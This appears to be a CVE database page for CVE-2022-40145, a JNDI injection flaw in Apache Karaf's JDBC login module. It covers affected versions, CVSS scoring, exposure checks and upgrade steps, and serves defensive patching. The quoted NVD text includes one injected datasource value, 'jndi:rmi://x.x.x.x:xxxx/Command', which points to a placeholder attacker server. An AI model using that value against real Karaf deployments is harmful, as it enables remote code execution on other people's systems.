CVE-2022-40145
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedThis vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidenceJNDI injection vulnerability in Apache Karaf's JDBCUtils.doCreateDatasource function where InitialContext.lookup() is called on a JNDI name without input validation. An attacker who controls the target LDAP server specified in a JDBC JNDI URL can inject malicious JNDI references to achieve remote code execution.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.
NVD · CPE data< 4.3.8>= 4.4.0, < 4.4.2CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- Low
- Privileges
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
-
Identify Apache Karaf installation and versionLocate the Karaf installation directory and check the version. This is typically found in the RELEASE-NOTES file or karaf-version.jar in the lib folder, or by running 'karaf --version' if the bin directory is in PATHAffected if The installed version is below 4.3.8, or is 4.4.0 or 4.4.1
-
Determine if the JDBC feature is enabledCheck etc/org.apache.karaf.features.cfg for featuresBoot list, or run 'feature:list | grep jdbc' in the Karaf console to see if the JDBC feature is installedAffected if The JDBC feature is installed and available for use in the environment
-
Inspect JDBC datasource configuration filesLook for etc/*.properties or etc/org.ops4j.datasource-*.cfg files that may contain JNDI URL configurations. Search for 'jdbc:' or 'jndi:' strings in the etc/ directoryAffected if Any JDBC data source is configured with a JNDI lookup URL pointing to an external or untrusted LDAP server
-
Review custom data source definitionsSearch for any custom JDBCUtils usage or programmatic data source creation in deployed bundles or custom configuration files under the deploy/ or lib/ directoriesAffected if Custom code or configuration uses JDBCUtils.doCreateDatasource with user-controlled JNDI names
The environment is affected if Apache Karaf version is below 4.3.8 or between 4.4.0 and 4.4.1 (inclusive), AND the JDBC feature is in use with JNDI-based data source configurations pointing to external JNDI/LDAP servers.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
dbcve · scoped4.3.84.4.2
Upgrade Apache Karaf to version 4.4.2 or 4.3.8 or later, which contains patched JDBCUtils code that properly validates/sanitizes JNDI lookup inputs.
4.4.2 (for versions >= 4.4.0) or 4.3.8 (for versions < 4.3.8)
- 1. Identify current Apache Karaf version by checking the Karaf runtime or pom.xml dependencies
- 2. If running Karaf >= 4.4.0 and < 4.4.2: Upgrade to Karaf 4.4.2
- 3. If running Karaf < 4.3.8: Upgrade to Karaf 4.3.8
- 4. Update version in pom.xml or replace Karaf runtime binaries with the new version
- 5. Rebuild and redeploy the application
- 6. Restart the Karaf container
- 7. Verify the upgrade by checking Karaf version (e.g., running 'version' command in Karaf console)
Generated from the published advisory — verify against the referenced sources before acting.
- Consultation4.0 h
- Implementation8.0 h
- Testing6.0 h
- Review / QA4.0 h
An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $6,176.
Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2022-40145 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2022-40145 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.
A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.
- Verified mitigations, workarounds, and config changes
- Version or environment caveats, and links to real fixes
- No weaponised exploit code, or anything meant to cause harm
- No spam, self-promotion, credentials, or personal data